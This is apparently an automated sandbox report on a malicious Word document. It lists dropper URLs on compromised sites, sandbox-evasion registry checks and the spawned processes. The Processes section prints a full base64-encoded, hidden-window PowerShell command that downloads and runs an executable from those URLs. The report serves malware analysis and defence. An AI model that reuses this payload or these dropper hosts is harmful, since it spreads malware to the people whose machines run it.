Analysis
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max time kernel
20s -
resource
win10v191014 -
submitted
12-12-2019 18:07
General
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Target
28ffef9f366f0ef29fb89a0c0a7b490fcbd81391b733c2da304c51ecd4731ea8.doc
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Sample
191212-dj38rgz49e
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SHA256
28ffef9f366f0ef29fb89a0c0a7b490fcbd81391b733c2da304c51ecd4731ea8
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://www.fiveabb.com/wp-includes/t97866u6t0-6fsav74-0100091248/
exe.dropper
http://liveloveexploreinspire.com/cgi-bin/g7iys4-m16vly-76701303/
exe.dropper
https://trexcars.com/wp-includes/pu4saw-35wwzbm4q4-4706/
exe.dropper
http://staging.jmarketing.agency/wp-includes/vb2ocjw0qh-y0rw-283565/
exe.dropper
http://gameandroidterbaik.com/wp-includes/CRESFCfh/
Signatures
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid Process 4920 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid Process 4920 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exedescription pid Process procid_target PID 996 wrote to memory of 3028 996 SppExtComObj.exe 76 -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid Process 4920 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid Process Token: SeDebugPrivilege 4444 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid Process 4444 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\28ffef9f366f0ef29fb89a0c0a7b490fcbd81391b733c2da304c51ecd4731ea8.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4920
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:3028
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABJAHQAaABkAHgAbwBwAHYAPQAnAEMAeQB5AGkAcQBpAHcAawB0AG8AcAAnADsAJABFAGQAeQB4AGgAZQBzAGIAdwB0ACAAPQAgACcANwAzADcAJwA7ACQAWABmAHkAeQBiAGYAZwBsAG8AaAA9ACcATQB6AGMAZABxAHkAdgBwACcAOwAkAEoAaAB4AHQAYwBhAHMAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBkAHkAeABoAGUAcwBiAHcAdAArACcALgBlAHgAZQAnADsAJABZAHoAbgBrAGUAbQB6AHoAPQAnAEMAeABmAHMAcABxAHUAagBpAHEAawAnADsAJABTAHYAYQBnAGUAaQBsAG0AbwB2AHoAYQB1AD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUATgBUADsAJABWAHIAaABhAGkAcABvAGMAeQBrAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGYAaQB2AGUAYQBiAGIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHQAOQA3ADgANgA2AHUANgB0ADAALQA2AGYAcwBhAHYANwA0AC0AMAAxADAAMAAwADkAMQAyADQAOAAvACoAaAB0AHQAcAA6AC8ALwBsAGkAdgBlAGwAbwB2AGUAZQB4AHAAbABvAHIAZQBpAG4AcwBwAGkAcgBlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AZwA3AGkAeQBzADQALQBtADEANgB2AGwAeQAtADcANgA3ADAAMQAzADAAMwAvACoAaAB0AHQAcABzADoALwAvAHQAcgBlAHgAYwBhAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcAB1ADQAcwBhAHcALQAzADUAdwB3AHoAYgBtADQAcQA0AC0ANAA3ADAANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAYQBnAGkAbgBnAC4AagBtAGEAcgBrAGUAdABpAG4AZwAuAGEAZwBlAG4AYwB5AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdgBiADIAbwBjAGoAdwAwAHEAaAAtAHkAMAByAHcALQAyADgAMwA1ADYANQAvACoAaAB0AHQAcAA6AC8ALwBnAGEAbQBlAGEAbgBkAHIAbwBpAGQAdABlAHIAYgBhAGkAawAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AQwBSAEUAUwBGAEMAZgBoAC8AJwAuACIAUwBwAEwAYABJAHQAIgAoACcAKgAnACkAOwAkAE4AdwB4AGgAcAB5AHEAeABhAGoAPQAnAFoAbABxAGEAdQBsAG8AdQBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAHYAbwB3AGMAZwBkAHUAZwBkACAAaQBuACAAJABWAHIAaABhAGkAcABvAGMAeQBrAGwAKQB7AHQAcgB5AHsAJABTAHYAYQBnAGUAaQBsAG0AbwB2AHoAYQB1AC4AIgBEAGAAbwBXAE4ATABPAEEAZABGAGAASQBMAEUAIgAoACQARAB2AG8AdwBjAGcAZAB1AGcAZAAsACAAJABKAGgAeAB0AGMAYQBzAGcAKQA7ACQAVABrAG8AegBkAGwAaABqAHEAaABxAD0AJwBIAGYAawBhAHcAcgBjAG4AaABsAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABKAGgAeAB0AGMAYQBzAGcAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADQAMAAxADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AEEAYABSAHQAIgAoACQASgBoAHgAdABjAGEAcwBnACkAOwAkAE8AZgB2AHcAYQBtAGgAZAB4AGIAPQAnAE0AcwB6AGgAegBpAGsAYwBzAHAAYgAnADsAYgByAGUAYQBrADsAJABRAHkAYgBsAHkAeAB1AHoAYgB0AGUAdQBrAD0AJwBHAGUAaQBqAGMAaQBmAGoAbgBhAG0AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgByAHoAZABoAHkAagBuAGYAcgB5AGQAPQAnAEsAegB1AG0AbwB0AHcAdgBvAGcAcgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4444